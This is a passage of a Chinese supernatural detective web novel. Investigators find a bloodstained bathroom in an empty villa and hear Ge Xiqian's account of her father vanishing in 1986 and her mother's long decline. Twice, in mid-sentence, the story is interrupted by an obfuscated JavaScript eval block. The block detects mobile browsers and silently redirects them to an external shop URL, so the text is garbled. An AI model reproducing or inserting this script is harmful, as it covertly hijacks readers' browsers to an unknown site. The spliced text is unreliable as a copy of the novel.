很快,一个瘦削穿红马甲、戴眼镜的男人带着一个穿制服的女物业赶了过来,女人手里还拎着一串钥匙。 戴眼镜的男人说:“28号的房东回老家了,好在他在物业留了钥匙,说是让我们看天气好的时候就帮忙通通风。” 武东青说:“我们要进28号检查一下。” 居委会的人丝毫没有犹豫,说:“好,我给您带路。” 武东青、秋樰生连同陈文化都跟着那两个小区的人一起往28号去,一路上,秋樰生一直在观察周围环境,他很快发现,就像武东青说的那样,虽然28号和武东青家的115号门牌数字差了很远,但实际上的地理位置相聚却并不远,穿过一排别墅,过两个路口就能到。此时已经是下午一点多了,太阳被乌云遮了起来,天色显得有些阴沉。 28号的造型跟旁边其他别墅的确都不一样,透着一种难以形容的杂糅的复杂性,这时候三层别墅的大部分窗户都是关闭的,只有靠近过道的一扇狭长的侧窗向外敞开了一些。如果房屋内部结构没有太大变化的话,秋樰生记得那就是武东青家监控视频中,武心童半夜看向的窗口方向。 “开门!”武东青说。 女物业犹豫了一下,把钥匙串塞给戴眼镜的男人,后者没办法,只好硬着头皮上前,打开了那扇紧闭的房门。房门刚开,武东青便一把推开那名居委会工作人员,当先进入屋内。 秋樰生没马上跟进去,他先绕到那扇敞开的窗户处,隔着几步观察了一下地面,拍了照片,然后去看窗台和窗户锁的痕迹,最后才往里看。 谁想到这一看,秋樰生的眼神一下子凝住了。 28号房子的结构还是做了调整,在武东青家,这扇窗户里头是L形客厅的一短横,那里被他们用来摆放餐桌,而在这套别墅里,这里被隔成了一个单独的卫生间。就像陈文化说的,房主的确预算不够,卫生间里除了做了干湿分离的分区,其他都没怎么动,马桶是个廉价的新马桶,大概房主过来打扫也要使用才特意装了个临时的,后续还要换,淋浴间那个分区的地面上,此时却覆盖着厚厚一层暗褐色的脏污。 武东青也赶到了,两名公安干警,一名已经解甲归田,另一名正值当打之年,此时一个屋里,一个屋外,同时看着那摊脏污,脑海里浮现出同一个词组:“血迹!” 65.第65章 葛希倩的童年 “优惠大酬宾,全场最低三折起,买满2000就送抽奖一次,赢取豪华海岛游度假套餐!” 在大喇叭一遍遍的广告宣传声中,方许恩停好车,跟在秦于理后面朝前面的大型建筑物走去。 这里是隀明市里非常有名的大型建材装潢市场,每天都有数不尽的顾客在这里为自己辛辛苦苦攒钱换来的小家淘物美价廉的装修材料,霍殊刚刚给秦于理发来的消息中,牟老太的女儿葛希倩就在这里的一家卖木地板的商铺工作。 方许恩边走边埋怨:“这个当女儿的怎么回事,自己妈妈命都差点没了,她居然还有心思上班。” 秦于理说:“不是所有人都像你一样不缺钱。” 方许恩愣了一下,陷入了某种思索中。 两人根据地址,很快找到了那家铺子,此时铺子里只有一名女营业员在,她长得挺高的,单看五官,长得其实也还不错,就是看着显老,整个人都有种死气沉沉的疲惫感。 “欢迎光临,随意看看,想买什么,我可以给您介绍。”女人机械地说着职业用语,脸上看不到任何对于售出商品的渴望。 秦于理走到她面前,问:“你是葛希倩吗,牟老太太的女儿?” 女人这才有所反应,抬起眼皮看向秦于理,又看看那边的方许恩:“你们不是来买东西的?” “城隍庙霍殊介绍我们来的,想找你了解点你妈妈的事。” “下班以后,我今天要工作到晚上九点,你们九点以后再来。” 秦于理说:“不用很久,你就当接待客人,占用你十分钟。” “没空。”葛希倩生硬地顶了回来,“老板看到要扣我工资的。” 方许恩忍不住了,说:“你怎么回事,自己妈妈差点没了不去医院看一眼就算了,现在只是想问你点事,你也推脱?你到底想不想你妈妈的病快点好!” “不想。” 葛希倩的话让方许恩一下子噎住了,这位虽然童年失去双亲,但依然是在金钱与关爱中长大的富二代少爷显然没遇见过葛希倩这样的人。 方许恩都气得结巴了,说:“你、你怎么可以这样,你不孝顺!” 葛希倩说:“久病床前无孝子,我倒是希望她早点解脱,不要反反复复,好好坏坏。” 秦于理说:“老太太以前有过好的时候?” 葛希倩低下头,开始整理货架上摆出来的木料展品。 秦于理拿起一块标注巴西进口胡桃木的板材看了一眼,说:“这样,算你钱,一分钟一百,能聊多久看你的意思。” 葛希倩看了秦于理一眼,又重新把目光收了回去,拿了块抹布开始擦拭木料上的污垢,她说:“我在上班,老板给工资的,不收小费。” 秦于理说:“一分钟两百,买你店里的货,就这个吧。”她把那块巴西胡桃木递过去,“你给配合适价位的货量。” 葛希倩终于放下抹布,看向秦于理说:“你们想问什么?” 秦于理给了方许恩一个眼神,方许恩赶紧站到铺子入口,给秦于理放风,顺便打开手机录音键,预备记录葛希倩的证词。 秦于理说:“就从你妈妈的病说起,她是什么时候得的病,39年前吗?因为你爸爸去医院上班后失踪了?” 葛希倩整个人一震:“你怎么知道?” “我就是做这个的人,城隍庙住持霍殊请我去给你妈妈看病,这是我从你妈妈那里得到的线索,但线索很散,虚虚实实,我无法确认哪些是真,哪些是假,所以来找你……” “那她……”葛希倩欲言又止。 “这次发作是我给她治病的副作用,但她现在已经度过危险期了,短期内不会再发作,至于后续,要看你能提供给我多少信息和我能拿着那些信息解决多少老太太的症结。” 葛希倩本来死气沉沉的脸上忽而波澜微掀,那像已经凝固的陶土面具一般的苦相此时竟然悄悄松动。她快速而清晰地说:“1986年腊月初八晚上,吃过晚饭我在写功课,我妈在洗碗,我爸在包饺子,那一天他本来不当班,快八点的时候,医院突然打来电话,说是临时有工作要他去单位一趟,我妈就送他出门了,叮嘱他处理完事情早点回来。我那时候想跟他一起去,我以前也常去,医院那地方我从小就熟,但这次我爸没允许,他说让我做完功课泡了脚早点睡,明天一早醒来就能吃上他给我现煮的饺子了……” 葛希倩的述说拉开尘封将近四十年的回忆,展现出白城中一个普通家庭的天翻地覆。 “第二天早上我醒来,没看到爸爸,我妈坐了一宿,说不放心,把我托付给隔壁邻居,自己骑车去白城第一人民医院找爸爸。她去了一整天,一直到夜幕低垂才回来,我往她身后张望,可是那里没有爸爸的身影,我问她,妈妈,我爸爸呢?她的脸色很难看,但还是给了我一个笑,她说爸爸工作忙,还得在单位里呆一晚,明天就回家,让我要乖。说完,她就牵着我的手回了家。她那晚给我做了一碗面条,我妈的厨艺挺烂的,平时我们家饭菜都是我爸做,但那天晚上,不知道为什么,我感觉到了某种不祥的气氛,把那碗面条吃了个精光,还自己主动洗了碗。后来我才发现,我妈就做了一碗面,她自己什么也没吃。 “第三天早上我醒得很早,我想去门口等爸爸,他以前上晚班,我也会这样,一大早蹲在门口等他,看着他骑着自行车,一点点伴随着太阳升起,离我越来越近。我本来以为自己会是家里醒得最早的那个,但我一离开卧室就发现我妈早就已经醒了。不,她应该是一晚上没睡,她就坐在桌子前,一动不动,就像昨晚给我做完面条后做的那样,她一向很在乎自己的头发,总是梳得整整齐齐的,她说我爸就喜欢她留长发,可是那天她头发乱糟糟的,脸色蜡黄,嘴唇发白,像是冻得厉害。我吓得惊叫了一声,她才像是慢慢从石头变回一个人,朝我看过来。她说,倩倩,你爸爸要出趟远门,这段时间都不会回来,不过你别怕,家里有妈妈在,妈妈会把爸爸带回来的。” 葛希倩对秦于理说:“那年我只有七岁,还不懂生离死别,我只知道从那天开始我不能再像以前那么任性了,我要乖乖的,比以前成百上千倍的乖。” 秦于理说:“所以你妈妈一开始并没有得病。” “怎么说呢,如果执着于相信我爸爸没离开过医院,还在医院的某个角落并且一次一次地去医院闹事,找寻不算病的话,那么她那时候的确没病。” “牟老太太为什么坚信自己的丈夫没有离开过白城第一人民医院,她有什么证据吗?”方许恩问。 “她说我爸爸是个言出必行的人,不会不跟家里说一声就离开,何况他所有东西都没带走,衣服、钱、身份证,白城的腊月有零下四十度那么冷,他一个人能跑去哪里?而且我妈说,她去我爸工作的地方找过几次,有一次她真真切切看到我爸的身影在医院里一晃而过,可是等她去找的时候,却什么也没找到!” “你们有没有报警?” “当然报警了,但那个时候白城有更大的事情,警察都忙得很,没空管我们家的小案子。”葛希倩把最后三个字咬得死重死重,显然时隔那么多年,她依然无法释怀。 “当时白城有什么事?”方许恩还是个啥也不知道的萌新小白。 秦于理回想起昨晚范朋整理的旧报纸,忍不住脱口而出:“悍匪刘克爽案?” 葛希倩终于有了大的表情,她吃惊地看着秦于理:“你们知道?” 秦于理点头:“我记得刘克爽的尸体被送到了白城第一人民医院,然后就失踪了,直到现在也没找到。” 葛希倩苦笑:“是啊,你们都知道那个大魔头被击毙后尸体失踪的事情,却没人知道,那一晚还有一个人失踪了,就是我爸爸葛志军。” 门外有顾客经过,张望了一眼葛希倩工作的铺子,或许是觉得里头的气氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774361|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点异样,赶紧又扭头匆匆走开,甚至不用方许恩上前协商。 葛希倩说:“刘克爽尸体失踪的风波过去后,警方才有了人手处理我们家的这种小事,那时距离我爸失踪已经过去整整两个月了。期间我妈去医院找了他无数次,也去其他我爸常去的地方找过无数次,她问医院的同事、领导、病人,问我们的隔壁邻居,菜场卖菜的叔叔阿姨,她甚至每隔两三天就去派出所询问进展,但是我爸就像是消失了一样,哪里都没有他的线索。那时候没有现在这么发达的监控技术,她一个人沿着我爸上班的路来来回回走了不知道多少次,看到个土堆都要扒开来看一下,抓着路人就给他们看我爸的相片,但是没有就是没有。 “半年过去了,医院给我们家送来了一笔钱,我妈工作的单位因为她缺勤太多,让她办理停薪留职,我姥姥姥爷他们轮番来劝过好几次,我妈就是不听,她说,倩倩,你爸爸一定还在白城,他肯定是因为什么事被耽搁了,不管花多久,妈妈一定会把他找回来的!那天,她抱着我嚎啕大哭了一晚上,第二天天亮,她穿好工作服,把头发梳得整整齐齐的对我说,早饭在桌上,让我吃了自己去上学,她要回单位上班了。从那天起,我妈好像恢复到正常了,她每天正常上班,回家给我做饭做家务,把家里料理得妥妥当当的,大家都放心了,只有我知道,她从那个时候开始,这里才真的出了问题。”葛希倩说着,指了指自己的脑袋。 “从那以后,我妈表面来看是个正常人,但她除了日常生活必须做的事情以外,所有的私人时间都花在了到处奔波找我爸爸这件事上。她经常在我爸以前常去的地方一坐就是一天,在街头巷尾随便听到点什么风吹草动就不惜一切代价地找过去。时间慢慢过去,1990年,我爸失踪满四年,按法律上的定义,他可以看做是已经死了,大家都劝我妈妈趁着还年轻,重新找一个,开始新生活,可她根本听不得一个‘死’字,就连我爷爷奶奶看不下去想要劝她放弃,都被她骂出了家门。她说葛志军明明活得好好的,你们咒他,你们良心都坏完了,就这么硬是跟我爷奶家断了关系。 “再后来,我初中毕业念了高职,有一天我回家,我妈做了好几个菜,看起来心情很好。她穿了一件好久没穿的衣裳,那是我爸以前给她买的生日礼物,是从毛熊那边倒来的稀缺货,花了我爸半年的工资,她对我说,她梦到我爸了,他说他终于解决了手里的事情,快回家了。我爸失踪以后,我妈总是梦到他,说我爸托梦给她,有时候梦到他在很繁华的大街上行走,有时候又在阴暗的牢里被人打得遍体鳞伤,我以为这次也是一样,就顺着她的意思哄她说,牟翠翠,你很了不起,这么多年终于熬出头啦,葛志军要回家啦!她笑得跟孩子一样,我好久没见过她那样笑了。第二天早上,我醒过来发现家里空无一人,我找了一圈,最后在饭桌上找到一张压在杯子下面的字条,是我妈写的,她说,倩倩,我去接你爸爸回家,你在家等我们回来! “我没想到她这次会疯成这样,当然不可能安心呆在家里,我央求邻居,又叫了几个同学一起去找,把我妈平时跑的地方都找了个遍,但哪里都没看到她的人影。你知道我那个时候有多绝望吗?快十年了,我以为一切都过去了,可我没想到,那一晚爸爸失踪留下的恐惧一直在我心里从未离开!我看着一片白茫茫的原野,突然失去了所有活下去的力气,我想,如果这一次我妈也失踪的话,那我就不活了。也许是老天觉得我贱命一条,祂也不肯收吧,第二天的清晨,我在白城外的树林里找到了我妈。她那时候已经快要冻死了,失去了意识,我好不容易把她送进医院,好在性命没有大碍,但从那天起,她就彻底疯了。她说她真的见到了我爸,说他还和十年前一样年轻英俊,但是有个恶鬼突然凭空冒出来,把我爸吃掉了。” “很滑稽不是吗?”葛希倩的声音里带着酸涩,“我妈明明彻底疯了,但她却在那天第一次接受了我爸已经没了的事实。” 66.第66章 承诺 失踪又回来之后,牟翠翠就彻底进入到了时好时坏的半疯癫状态,再也无法上班赚钱。葛希倩虽然还未成年,也不得不扛起家里顶梁柱的位置,在校内外找了各种兼职打工,加上还在工作的姥姥姥爷时不时的接济,母女俩勉强维持着正常生活。 在这过程中,葛希倩带着牟翠翠跑遍了白城大大小小的医院诊所,想要找到让她妈妈恢复正常的方法,可惜所有医院给出的治疗方案都收效甚微,最后实在没办法了,她想到了玄学。白城盛行出马,有人指引她去找当地一个名叫七姑的出马仙,说没准她能解决她们母女俩的困境。 为了凑看事的费用,葛希倩又花了半年的时间,在这半年时间里,牟翠翠的异常变得愈发明显,发作的频次也更高了。她时常手舞足蹈,嘴里发出奇怪的音节,讲些人们听不懂的话,摔砸各种东西,有的时候又会跑到外面马路上随地一坐或者一站,老半天一动不动,如果有人去跟她搭话,哪怕是出于善意,她也会突然暴起,不分青红皂白指着别人的鼻子破口大骂。 葛希倩开始觉得力不从心,她毕竟只是个还未成年的少女。以前牟翠翠虽然也不正常,但行为其实是有逻辑的,她只是坚定不移地相信只要自己足够坚持,足够努力就一定能把自己的丈夫找回来而已,她知道自己是谁,身上扛着什么责任,要做什么,但自从那天林子里被找回来以后,她就仿佛失去了自我,而且状态恶化得更快了。葛希倩实在等不下去了,最后向朋友们借了点钱,凑够了费用,赶紧带牟翠翠去看事。 七姑是个豪爽敞亮的中年女人,跟一般人印象里的神棍巫婆完全不同,她把牟翠翠认认真真看了一遍,翻了她的眼皮,摸了她的骨头,还用自己的额头贴着后者的额头闭上眼睛感知了很久。令葛希倩感到惊喜的是,原本在来的路上就已经开始骂骂咧咧发作的牟翠翠,在进入七姑家以后不知不觉就安静了下来,哪怕被七姑看来看去还东摸西摸,她也一直维持着温顺的模样,像只听话的绵羊。 见七姑睁开眼睛好一会儿没说话,葛希倩实在忍不住了,问她:“大姨,我妈妈的病怎么样了,还能治好吗?” 七姑说:“你妈妈确实是被一些不好的东西缠上了,但那个东西,我的保家仙也处理不了。” 葛希倩扑通一声跪在地上哀求道:“姨,求求你帮帮我吧,我才17岁不到,九年前,我爸失踪了,至今还活不见人,死不见尸,要是我妈也……呜呜,你让我怎么活啊!!!” 葛希倩对秦于理说:“也许是我当时装哭装得太惨了吧,七姑最终还是答应了帮我。她为我妈妈做了一场法事,又亲手做了一个护身符让我给她戴上,七姑说,以她的能力只能保我妈妈不恶化到我成年,能自己找工作养活家里为止,再往后就无能为力了! “我问她,那等我成年以后,我妈会变成什么样,我又该怎么办?七姑说到时候你妈妈的状态会比现在更糟糕,清醒的时间更少,攻击性更强,直到有一天把自己弄死。我一想到那个未来就怕得腿软,我问她还有没有别的办法可以想,或者别的大仙能帮忙,她闭上眼睛想了好久,最后说,你可以试试带着你妈妈搬走。我赶忙问她,搬走是指搬到哪里去,而且我们家压根没钱买新房子。七姑说,有没有钱的都先走再说,那玩意儿的影响力也是有限的,脱离它的掌控范围,你妈妈就会好一些,她会一点一点恢复,但你别指望摆脱那东西,它会找过来,为了避免被它找到,你们最好不停地搬家,一年、半年、一个月,只要觉得你妈妈状态不好了,就赶紧走,往南边!” 葛希倩说到这里顿了顿,问秦于理:“怎么样,这么离奇的事情,你信吗?会觉得我在胡扯吗?” 秦于理摇头:“我说过了,我本来就是从事这行的,这种事我见过不少,自然看得出你没有撒谎。”虽然结束了很久的案子在秦于理的记忆中会被因果修正,但她的经验足以让她判断出牟翠翠就是被重生后扭曲的因果线污染了。出马仙七姑说的理由或许不对,但推演的结果是对的,因为因果污染都有个源头,被动感染的人离开源头越远,污染就会慢慢降低,但感染者毕竟也是扭曲的因果网里的一员,不管走到哪里,重生者和被污染者都会逐渐靠近,直至再次重逢,而到了那个时候,被压制的污染指数自然会以指数级倍增。 比如现在,秦于理和重案组所有人,包括整理报纸的老范,城隍庙那个八百个心眼子的霍殊,还有焦头烂额正在查无头男尸案的秋樰生应该都已各就各位,占据了这张扭曲因果网中的一个生态位,哪怕他们中间此时有人出差或是出国,也会神不知鬼不觉地碰上污染源。 葛希倩的表情微微有了变化,她从一开始的消极抵抗到为了钱张嘴,再到现在虽然对秦于理这么个年轻女性半信半疑,但她就像一个四处漂泊,吃够了苦的旅人,纵然已经失望了无数次,当看到一点火种出现在面前的时候,依然会忍不住飞蛾扑火般地靠近,重新燃起希望。说到底,没有人不想过好日子,葛希倩母女过去几十年都过得太苦了。 葛希倩征询地问:“那我接着说?” 秦于理点点头。 葛希倩这次说话的速度就慢了一些,也说得更细致了。她说:“那次看完事后,七姑只象征性收了我一点儿钱,她说她帮不上什么忙,没脸拿我的钱,我知道,她其实是看我们母女可怜,故意让我留着钱照顾自己和妈妈。那天从七姑家回来后天色已经晚了,我找了家附近的地下室小旅店住,想着明天再看看我妈的情况,结果第二天她果然变好了,那半年来,她第一次认出我,也认得了她自己,虽然除了这点认知以外,她稀里糊涂的什么也不记得了,她甚至连我爸爸都忘了,言行举止就像一个小孩子。即便这样,我也觉得真是太好了,我那时想,就算我妈以后都是一个小孩子,那我就把她当个小孩子养!我以为我的生活从此又有了希望,结果,那样的好日子只维持了一年半……” 葛希倩苦笑摇头:“眼看着我高职就要毕业了,有天邻居匆匆跑到学校找我,说我妈爬上了楼房天台,扬言不把我爸找出来,她就要跳楼,她竟然提前发作了!想也知道,都这么多年过去了,谁能有办法把我爸找出来,我赶到的时候正看到她张开双手,从顶楼跳下来,那个瞬间,我觉得她像一只自由的鸟。但那只鸟被射落了,因为消防铺了救生垫,她最后只有轻微脑震荡和一些擦伤,没有生命危险,但当天晚上,居委会的人就来找我,苦苦劝我把我妈送进精神病院,他们怕引起社区恐慌。因此我不得不做出决定,是继续咬牙忍一段时间,熬到职高毕业,还是立刻动身,离开白城,我选了后者。” 葛希倩说到这里,不由微微出神,似乎是回忆起了那个许多年前的重大夜晚,还没成年的自己曾经做出了多么大的选择。人往往在经历苦难的时候根本没有余力去思考和内耗,然而那份痛苦并不会消失,反而还会随着时间的流逝,在心中越沉越深,变成“湖底”永恒的垃圾,直至事后有余裕回看,才会沉渣泛起,泛滥成灾。 葛希倩说:“都是命吧。这些年我们母女已经给邻居们添了很多麻烦了,姥姥姥爷年纪也大了,身体不好,于是,我第二天就去办了辍学手续,带我妈离开了白城。我们先去了吉城,也去过蒙区,跟着一路向南,陆续走过很多地方。果然就像七姑说的那样,离开白城以后她就会好 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葛希倩的脸上也终于有了点笑意,她清了清嗓子说:“总之,我差点就错过他了,我说我没钱,他说他不要钱,这是他的因果,如果我不介意,可以把我妈送到庙里去,他会想办法解决……” 霍殊的确想办法了,他想的办法就是……求助秦于理。 回忆到这里,葛希倩已经没有更多的内容补充,从六岁的女童到今天四十多岁的中年女人,她带着一个疯疯癫癫的母亲,背着父亲生死不明的悲伤,孤身一人跌跌撞撞走过半生,秦于理现在完全能够理解葛希倩选择将上班优先程度置于母亲身体情况之前的原因。 说是说久病床前无孝子,可和因为母亲罹患阿尔茨海默症就下毒手谋财害命的殡葬店老板李学思相比,葛希倩的表现要显得真诚和孝顺多了。尽管牟翠翠的情况已经那么糟糕,她却从来没有想过把她丢开或是送进精神病院一走了之。她痛苦、不甘,但她站着,不屈。 葛希倩的态度很鲜明,她觉得如果牟翠翠这次发作真的走了,那么对她和她都是一种解脱,如果没有,治病搬家都要钱,能够赚钱的如今也只有她葛希倩一个人而已,所以她不能擅离职守,她得顶在母女俩风雨交加的人生前头。 方许恩默默蹭过来,柔声说了句:“对不起,我刚刚不该那么说你。” 葛希倩愣了一下,随后苦笑着说道:“不用那么客气,记得结账就好,就一分钟一百吧。” 方许恩“啊”了一声,秦于理推他一把,说:“快结账,听到没有,一共聊了37分钟,3700块,收货地址留你家的,回头工资里补给你。” 方许恩嘴巴张开闭合了几次,认命了,方少爷钞能力杠杠滴! 走之前,秦于理给葛希倩留了个重案组的公用电话,让她想起什么新线索又或有什么新进展及时通知她,然后依旧两手插兜往外走。才走了几步,她忽然又停下来,回头喊:“葛希倩。” 葛希倩正在出神,听到自己的名字不由一愣,忙问:“嗯?还有什么落下了吗?” “没有。”秦于理说,“我就是想跟你说一声,你找的那个七姑是不是真神人我不做判断,但你来隀明市这一步确实走对了,我和我的人会负责跟踪处理完这件事。到时候,不管你爸爸葛志军是生是死,我一定会给你一个交代,你放心等着,我从不失约!” 秦于理说完便潇潇洒洒地走了,方许恩刚付完钱拿了发票,着急忙慌地拨开人群跟上,留下葛希倩一个人,望着两人离去的方向,突然间脸上掉下大滴大滴迟到了三十多年的眼泪! 67.第67章 对信息 重新开上车,方许恩打方向盘出停车场上了路。 一般这时候秦于理应该要给出明确的方向了,但这次上了车后她一直没开口,而是没事人一样托着腮望着车窗外发呆。 方许恩这次实在是察言观色不出了,因此在等待绿灯的间隙,终于忍不住开口问:“秦队,接着我们去哪里呢?” 当然,他问之前已经预备好了答案,按他的推测,既然刚刚从葛希倩那里得知了牟老太一家的过去,秦于理接下来要么会去医院当面和牟老太交流,要么可能会回隀明市公安局了解三十九年前白城关于牟老太一家事件的具体记录,而这恰好是两条路,所以他不得不问。 谁想到,秦于理居然放下车窗,吹着外头的凉风说:“我不道啊。” 方许恩:“啊?” 红灯转绿,后头的车子等得不耐烦,闪了方许恩一下,他只得先硬着头皮往前开,反正条条大路通罗马,万一秦于理给了主意,还来得及掉头,结果秦于理还是一声不吭。这下方许恩真有点慌了,他私心里是觉得秦于理太强势太有主见的,但这时候秦于理不强势了,他又找不着方向了。 方许恩说:“那我们先回局里?” 方许恩觉得牟老太虽然也有调查价值,但此时刚刚度过危险,人还不知道能不能接受问话,就算接受了,也不知道脑子是不是稀里糊涂的,所以还是白城公安局那条线更靠谱一点。果然,秦于理说:“随你啊。” 虽然不算个十分明确的回答,方许恩还是松了口气,庆幸好歹是不用掉头了,便顺着道路继续往前开。 建材城周围有不少老式小区,这一带过去曾经辉煌过,现在逐渐没落成了外来务工者刚到隀明市立稳脚跟的地方,大量联排别墅和过去的老别墅被房东进行二次改造,分租给了外来务工人员,所以葛希倩刚刚说她带牟老太搬到这里后,在建材城附近租了间屋子住应该也是在这附近。一路上街道两侧还能看到不少沿街门面,基本都是从事建筑装潢配套服务的店面,比如装铝合金门窗的,装防盗门的,做房产中介的,卖灯具的等等。 和建材市场里的铺面比起来,这里的铺子价格应该要便宜点。秦于理从车窗看出去,即便是在休假期间,也有不少工人在忙碌,他们三五成群地从老旧小区里出来,穿着自己的衣服,但一般都会套个马甲,上面标注着大大小小装修公司的名称,以示区别。 忽然,秦于理喊了一声:“减速。” 方许恩下意识地踩了点刹车,侧头看秦于理在看什么。只见前方街拐角那儿有个小区门口人特别多,几辆红蓝带闪的警车停在门口,车窗放了下来,里面的警察正在和门口一个年轻男人讲话。 方许恩说:“咦,这不是秋队吗?” 秦于理说:“不愧是观察者。” 方许恩怀疑秦于理在阴阳怪气他,但是没有证据。 秦于理说:“去那个小区里吧,因果等着我们呢!” 方许恩脑子里电光石火那么一闪,终于懂了秦于理的意思。如果重生污染是张网,那么他们现在已经在网上占据了稳稳的生态位,接下来哪怕随波逐流,也会被推送到既定的航道中去。毕竟他们是网里的清道夫,因果还等着他们去收拾那些漏网之鱼呢。 方许恩打了转向灯开过去,见秋樰生打开一辆警车的门,正要坐进去,赶紧轻轻按了下喇叭。 不远处的男人抬起头来,看向方许恩的车,不得不说,长得好的最大优势是,别人奔波一宿没睡,看起来是疲惫苍老,秋队是别有一番风味。 秋樰生一关车门,让那辆警车先进去,自己走到方许恩车边:“你怎么来了?” 方许恩伸手比了比后座,秋樰生看过去,就见秦于理那张略嫌冷淡厌世的白皙脸孔正从后车窗探出来,并且懒洋洋地冲他挥了挥手。 秋樰生心里感觉很奇妙,他已经完整跟了两起,涉入一起重生者案件,多少有点感觉,现在秦于理两人出现在他面前很可能和新案子有关,但他一时也不知道现在自己那种奇怪的感受是对多了强力帮手的欣慰,还是对事情走向越发复杂难搞的头疼。 秋樰生拉开后座车门,坐进去,对岗亭喊:“老孟,放行,自己人!” “好咧!”门口保安应了一声,杆子抬起,方许恩把车开了进去。 秋樰生见秦于理越过他的脑袋看了岗亭里的保安老孟一会儿,机警地问:“怎么,老孟有问题?是被污染了?” 秦于理说:“就随便看看,好像哪儿见过。” 秋樰生皱起眉头,不知道秦于理这是在开玩笑还是真的在哪儿见过老孟。 方许恩问:“这里出什么事了,怎么那么多看热闹的?”他这次没有问往哪儿走,前面有警车还有行人,都在往一个方向流动,傻子也知道目的地在哪儿,而方许恩现在最不想的就是被秦于理当成一个没用的傻子,何况他还在跟秋樰生争在重案组的排名呢! 秋樰生问:“你认识武东青武局吗?” 秦于理说:“有点儿印象,没怎么打过交道。” 秋樰生说:“前任隀明市公安局局长,你居然没怎么打过交道?” 秦于理说:“身居高位的人牵扯进重生因果里会加倍麻烦,所以我平时只跟下面的具体负责人打交道,绕着他们走,不过他在位的时候应该是知道我的存在的。” 秋樰生说:“在位的时候,那现在呢?” 秦于理说:“记忆会被慢慢修正,不确定现在倒了哪一步。” 秋樰生嘟哝了一句:“那我以后要是退休了是不是也会不记得你们了?” 秦于理说:“你很想记得我吗?” 秋樰生噎了一下,一时之间竟不知道自己刚刚那句话到底是想表达个什么意思,他本人也糊涂了。 秦于理说:“接着说啊,武东青怎么了?” 秋樰生喊方许恩:“把车窗关上。” 方许恩心有不满,但还是大局为重,照做了,并且把耳朵竖得比剪了耳的杜宾还直,要听听到底出了什么大事。 秋樰生说:“武局在一个多月前开始收到恐吓信,疑似他以前处理过的罪犯前来报复,他觉得自己能搞定,没有报警,今天凌晨三点三十三分,他孙子武心童被人从家里骗出去,至今下落不明。郑金虎把我喊来想暗中处理掉这件事,结果中间碰到一个施工队的人来找自己失踪的老乡,说是五天前,那个老乡给客户的房子关窗就没回来,我们找过去了,在那栋空关的别墅一楼厕所里发现了大量血迹。” 秦于理说:“它们有联系。” 秋樰生点头:“感觉上应该有。给武局写恐吓信的人冒充了三十九年前被武局亲手击毙,后来尸体又失踪的……” “刘克爽?”秦于理脱口而出,这次换秋樰生愣了一下。 “你怎么知道?”他问。秋樰生来回看看秦于理和方许恩,试探着问:“你们难道也……” “碰到一起重生污染的案子,当事人是个老太太,姓牟,白城人,她丈夫三十九年前在白城第一人民医院工作,在刘克爽尸体失踪那段时间,这个人也失踪了,至今下落不明。” 秋樰生沉默了一会儿,跟着无奈地笑了一下:“果然又串起来了。”他说,“这次的重生者又是谁,难道真的是刘克爽?” 秦于理说:“那他还够能忍的。” 秋樰生说:“什么?” 秦于理说:“都快四十年了,我要是刘克爽那种大悍匪重生,肯定得挑二十来岁自己身强体壮的时候来报仇,过了这么多年才来,多少有点托大了。” 秋樰生懂秦于理的意思了。虽然老话都说君子报仇十年不晚,但十年里面的煎熬只有深处其中的人才知道,眼睁睁看着仇人靠击毙自己的功勋换取了仕途青云直上,刘克爽那种狠人怎么可能忍得住,君子的忍耐极限如果只有十年,悍匪打个对折应该都嫌长。 秋樰生说:“确实说不通,这么说不是刘克爽?” 方许恩说:“到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800018|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我把车停这儿?” 秦于理“嗯”了一声,推开车门下去,秋樰生赶紧也跟上去,方许恩手脚利索跟玩极限飞车一样把车子往路边一丢,赶忙追上那两人。他自认自己也是重案组的一员,哪怕只是个临时工,他也不想只当个摆件。 28号别墅门口站着几个警察,中心位是郑金虎和武东青,有女人哭嚎的声音传出来,几个警察拉了黄色封锁线,让围观群众不要凑热闹,并且告知不能拍摄现场照片发布到网上,不然将以干涉公务执行问罪。居民们嘴上好好好的,手里的小动作其实压根没停,偷偷摸摸想方设法地看热闹。可以想象,此时隀明市的网上舆论已经是个什么样子了。 秦于理说:“听说你昨晚在金鑫大楼才找到一具无头男尸?” 秋樰生说:“你消息够灵通的。” 秦于理说:“去解决牟老太的事情时,在城隍庙碰到了两个早上警局里见过的案件相关人员,所以让小陆查了一下,是你那起无头男尸案的发现者,那两个白城来的网红。” 秋樰生说:“他俩去城隍庙干什么,观光?” 秦于理说:“他们花钱在城隍老爷跟前供了个牌位,可能是昨晚被吓着了,今天去庙里拜拜去晦气吧。” 方许恩说:“那他们做得还挺地道的。”方许恩边观察边走,一不留神差点撞到一脸低气压匆匆从别墅里出来的法医李特。 方许恩赶紧道歉,秋樰生问:“老李,情况怎么样?” 李特说:“用鲁米诺试剂检测确认这房子的一楼卫生间是第一案发现场,墙面下方和地板上有大量血液喷溅流经痕迹,出血量至少超过1000ml,现场被人为冲刷过。” 秋樰生问:“成年人?” 李特说:“嗯,从出血量来看,如果只是单一受害者个体的话,大人的可能性更大。” 